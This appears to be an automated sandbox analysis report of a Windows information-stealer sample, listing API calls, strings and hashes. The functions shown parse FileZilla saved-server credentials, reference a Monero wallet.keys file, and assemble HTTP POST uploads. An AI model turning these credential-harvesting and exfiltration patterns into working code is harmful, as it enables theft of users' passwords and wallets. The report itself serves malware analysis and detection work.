GetProcAddress.KERNEL32(6F4E0000,010E6238), ref: 0088A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0088A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0088A607
GetProcAddress.KERNEL32(75AE0000,010FCAD0), ref: 0088A629
GetProcAddress.KERNEL32(75AE0000,010F8C18), ref: 0088A641
GetProcAddress.KERNEL32(75AE0000,010FC998), ref: 0088A659
GetProcAddress.KERNEL32(75AE0000,010FC8C0), ref: 0088A672
GetProcAddress.KERNEL32(76300000,010E6378), ref: 0088A693
GetProcAddress.KERNEL32(6FE30000,010FCA70), ref: 0088A6B4
GetProcAddress.KERNEL32(6FE30000,010E62B8), ref: 0088A6CD
GetProcAddress.KERNEL32(6FE30000,010FC890), ref: 0088A6E5
GetProcAddress.KERNEL32(6FE30000,010FCB30), ref: 0088A6FD

Strings

HttpQueryInfoA, xrefs: 0088A5FC
InternetSetOptionA, xrefs: 0088A5E5

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d89504c7227499eb8f51b3f024be0fd5a022e736f058c315b48796cdaa2b62b7
Instruction ID: 42076c22eb6120eccbd8fcbb990e4822d0276b06cbab531d4ee3fd562e816c7d
Opcode Fuzzy Hash: d89504c7227499eb8f51b3f024be0fd5a022e736f058c315b48796cdaa2b62b7
Instruction Fuzzy Hash: 27622EB6508240AFC354DFE8FD989563BF9F76C301B14871AA609C3676DA3A9483DF12

Function 00877710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00877724
RtlAllocateHeap.NTDLL(00000000), ref: 0087772B
lstrcat.KERNEL32(?,010F9468), ref: 008778DB
lstrcat.KERNEL32(?,?), ref: 008778EF
lstrcat.KERNEL32(?,?), ref: 00877903
lstrcat.KERNEL32(?,?), ref: 00877917
lstrcat.KERNEL32(?,010FE420), ref: 0087792B
lstrcat.KERNEL32(?,010FE588), ref: 0087793F
lstrcat.KERNEL32(?,010FE648), ref: 00877952
lstrcat.KERNEL32(?,010FE5B8), ref: 00877966
lstrcat.KERNEL32(?,010F94F0), ref: 0087797A
lstrcat.KERNEL32(?,?), ref: 0087798E
lstrcat.KERNEL32(?,?), ref: 008779A2
lstrcat.KERNEL32(?,?), ref: 008779B6
lstrcat.KERNEL32(?,010FE420), ref: 008779C9
lstrcat.KERNEL32(?,010FE588), ref: 008779DD
lstrcat.KERNEL32(?,010FE648), ref: 008779F1
lstrcat.KERNEL32(?,010FE5B8), ref: 00877A04
lstrcat.KERNEL32(?,010F9558), ref: 00877A18
lstrcat.KERNEL32(?,?), ref: 00877A2C
lstrcat.KERNEL32(?,?), ref: 00877A40
lstrcat.KERNEL32(?,?), ref: 00877A54
lstrcat.KERNEL32(?,010FE420), ref: 00877A68
lstrcat.KERNEL32(?,010FE588), ref: 00877A7B
lstrcat.KERNEL32(?,010FE648), ref: 00877A8F
lstrcat.KERNEL32(?,010FE5B8), ref: 00877AA3
lstrcat.KERNEL32(?,010FE880), ref: 00877AB6
lstrcat.KERNEL32(?,?), ref: 00877ACA
lstrcat.KERNEL32(?,?), ref: 00877ADE
lstrcat.KERNEL32(?,?), ref: 00877AF2
lstrcat.KERNEL32(?,010FE420), ref: 00877B06
lstrcat.KERNEL32(?,010FE588), ref: 00877B1A
lstrcat.KERNEL32(?,010FE648), ref: 00877B2D
lstrcat.KERNEL32(?,010FE5B8), ref: 00877B41
lstrcat.KERNEL32(?,010FE8E8), ref: 00877B55
lstrcat.KERNEL32(?,?), ref: 00877B69
lstrcat.KERNEL32(?,?), ref: 00877B7D
lstrcat.KERNEL32(?,?), ref: 00877B91
lstrcat.KERNEL32(?,010FE420), ref: 00877BA4
lstrcat.KERNEL32(?,010FE588), ref: 00877BB8
lstrcat.KERNEL32(?,010FE648), ref: 00877BCC
lstrcat.KERNEL32(?,010FE5B8), ref: 00877BDF
lstrcat.KERNEL32(?,010FE950), ref: 00877BF3
lstrcat.KERNEL32(?,?), ref: 00877C07
lstrcat.KERNEL32(?,?), ref: 00877C1B
lstrcat.KERNEL32(?,?), ref: 00877C2F
lstrcat.KERNEL32(?,010FE420), ref: 00877C43
lstrcat.KERNEL32(?,010FE588), ref: 00877C56
lstrcat.KERNEL32(?,010FE648), ref: 00877C6A
lstrcat.KERNEL32(?,010FE5B8), ref: 00877C7E

Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,008917FC), ref: 00877606
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,00000000), ref: 00877648
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020, : ), ref: 0087765A
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,00000000), ref: 0087768F
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,00891804), ref: 008776A0
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,00000000), ref: 008776D3
Part of subcall function 008775D0: lstrcat.KERNEL32(358B9020,00891808), ref: 008776ED
Part of subcall function 008775D0: task.LIBCPMTD ref: 008776FB

lstrcat.KERNEL32(?,010FEBC8), ref: 00877E0B
lstrcat.KERNEL32(?,010FD638), ref: 00877E1E
lstrlen.KERNEL32(358B9020), ref: 00877E2B
lstrlen.KERNEL32(358B9020), ref: 00877E3B

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: d23e6abbd21c67b8b173ab8f6dae0f4d25b90c994772c1178e8d8128d8fa4f51
Instruction ID: bf4fe1f575f41110a21cc0c2b3e66c56b9963a9b5e7968334a9724c190226c60
Opcode Fuzzy Hash: d23e6abbd21c67b8b173ab8f6dae0f4d25b90c994772c1178e8d8128d8fa4f51
Instruction Fuzzy Hash: DD320FB6900314ABC715EBE4DC85DEA777CBB54700F444A98F21DA2092EE74EB86CF52

Function 00880250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 00888DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00888E0B

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
Part of subcall function 008799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
Part of subcall function 008799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
Part of subcall function 008799C0: ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
Part of subcall function 008799C0: LocalFree.KERNEL32(0087148F), ref: 00879A90
Part of subcall function 008799C0: CloseHandle.KERNEL32(000000FF), ref: 00879A9A

Part of subcall function 00888E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00888E52

GetProcessHeap.KERNEL32(00000000,000F423F,00890DBA,00890DB7,00890DB6,00890DB3), ref: 00880362
RtlAllocateHeap.NTDLL(00000000), ref: 00880369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00880385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 00880393
StrStrA.SHLWAPI(00000000,<Port>), ref: 008803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 008803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00880419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 00880427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00880463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 00880475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 00880502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 0088051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 00880532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 0088054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00880562
lstrcat.KERNEL32(?,profile: null), ref: 00880571
lstrcat.KERNEL32(?,url: ), ref: 00880580
lstrcat.KERNEL32(?,00000000), ref: 00880593
lstrcat.KERNEL32(?,00891678), ref: 008805A2
lstrcat.KERNEL32(?,00000000), ref: 008805B5
lstrcat.KERNEL32(?,0089167C), ref: 008805C4
lstrcat.KERNEL32(?,login: ), ref: 008805D3
lstrcat.KERNEL32(?,00000000), ref: 008805E6
lstrcat.KERNEL32(?,00891688), ref: 008805F5
lstrcat.KERNEL32(?,password: ), ref: 00880604
lstrcat.KERNEL32(?,00000000), ref: 00880617
lstrcat.KERNEL32(?,00891698), ref: 00880626
lstrcat.KERNEL32(?,0089169C), ref: 00880635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00890DB2), ref: 0088068E

Strings

<Host>, xrefs: 0088037C
<Pass encoding="base64">, xrefs: 0088045A
profile: null, xrefs: 00880568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 008802A4
<Port>, xrefs: 008803C6
browser: FileZilla, xrefs: 00880559
login: , xrefs: 008805CA
password: , xrefs: 008805FB
url: , xrefs: 00880577
<User>, xrefs: 00880410

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 93bddf571a5b9d974bf8b7c49f2514c4cbf4adfd9ce6989f6df747ba056053eb
Instruction ID: 221a59951b1136aef1228cc5567081adb71add56fa2575a26a659ea723cdeb74
Opcode Fuzzy Hash: 93bddf571a5b9d974bf8b7c49f2514c4cbf4adfd9ce6989f6df747ba056053eb
Instruction Fuzzy Hash: 65D11F71900108ABDB08FBE4DD96EEE7778FF64700F544519F112E61D2EE38AA46CB62

Function 00875100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
Part of subcall function 008747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

lstrlen.KERNEL32(00000000), ref: 00875193

Part of subcall function 00888EA0: CryptBinaryToStringA.CRYPT32(00000000,00875184,40000001,00000000,00000000,?,00875184), ref: 00888EC0

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00875207
StrCmpCA.SHLWAPI(?,010FEB98), ref: 00875225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00875340
HttpOpenRequestA.WININET(00000000,010FEBD8,?,010FE570,00000000,00000000,00400100,00000000), ref: 008753A4

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,010FEBA8,00000000,?,010FDCF0,00000000,?,008919DC,00000000,?,008851CF), ref: 00875737
lstrlen.KERNEL32(00000000), ref: 0087574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0087575C
RtlAllocateHeap.NTDLL(00000000), ref: 00875763
lstrlen.KERNEL32(00000000), ref: 00875778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008757A9
lstrlen.KERNEL32(00000000), ref: 008757C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 008757E1
lstrlen.KERNEL32(00000000,?,?), ref: 0087580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00875822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0087584D
InternetCloseHandle.WININET(00000000), ref: 008758B1
InternetCloseHandle.WININET(00000000), ref: 008758BE
InternetCloseHandle.WININET(00000000), ref: 008758C8

Strings

--, xrefs: 00875280
------, xrefs: 00875297
", xrefs: 00875706
", xrefs: 00875482
------, xrefs: 0087563B
", xrefs: 008755C4
------, xrefs: 008754F9
------, xrefs: 008753B7

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: a202d4aaf27e0eb37252ebff19532b0c5fe43caddb6293c3506eaa6165c47271
Instruction ID: 05f9737ac1428c794a99d5fcec7d8297f6d9d458fe1828ccd6bef2d9dbf19fb7
Opcode Fuzzy Hash: a202d4aaf27e0eb37252ebff19532b0c5fe43caddb6293c3506eaa6165c47271
Instruction Fuzzy Hash: 1B32FD71920118AAEB18FB94DC95FEE7778FF54700F4041AAB116A20D2DF746A4ACF63

Function 0087A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0088AA70: StrCmpCA.SHLWAPI(010F8A98,0087A7A7,?,0087A7A7,010F8A98), ref: 0088AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0087AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0087AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0087ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0087A8B0

Part of subcall function 0088A820: lstrlen.KERNEL32(00874F05,?,?,00874F05,00890DDE), ref: 0088A82B
Part of subcall function 0088A820: lstrcpy.KERNEL32(00890DDE,00000000), ref: 0088A885

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

lstrcat.KERNEL32(?,00000000), ref: 0087ACEB
lstrcat.KERNEL32(?,00891320), ref: 0087ACFA
lstrcat.KERNEL32(?,00000000), ref: 0087AD0D
lstrcat.KERNEL32(?,00891324), ref: 0087AD1C
lstrcat.KERNEL32(?,00000000), ref: 0087AD2F
lstrcat.KERNEL32(?,00891328), ref: 0087AD3E
lstrcat.KERNEL32(?,00000000), ref: 0087AD51
lstrcat.KERNEL32(?,0089132C), ref: 0087AD60
lstrcat.KERNEL32(?,00000000), ref: 0087AD73
lstrcat.KERNEL32(?,00891330), ref: 0087AD82
lstrcat.KERNEL32(?,00000000), ref: 0087AD95
lstrcat.KERNEL32(?,00891334), ref: 0087ADA4
lstrcat.KERNEL32(?,00000000), ref: 0087ADB7
lstrlen.KERNEL32(?), ref: 0087AE0D
lstrlen.KERNEL32(?), ref: 0087AE1C

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

DeleteFileA.KERNEL32(00000000), ref: 0087AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0087ABD4

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
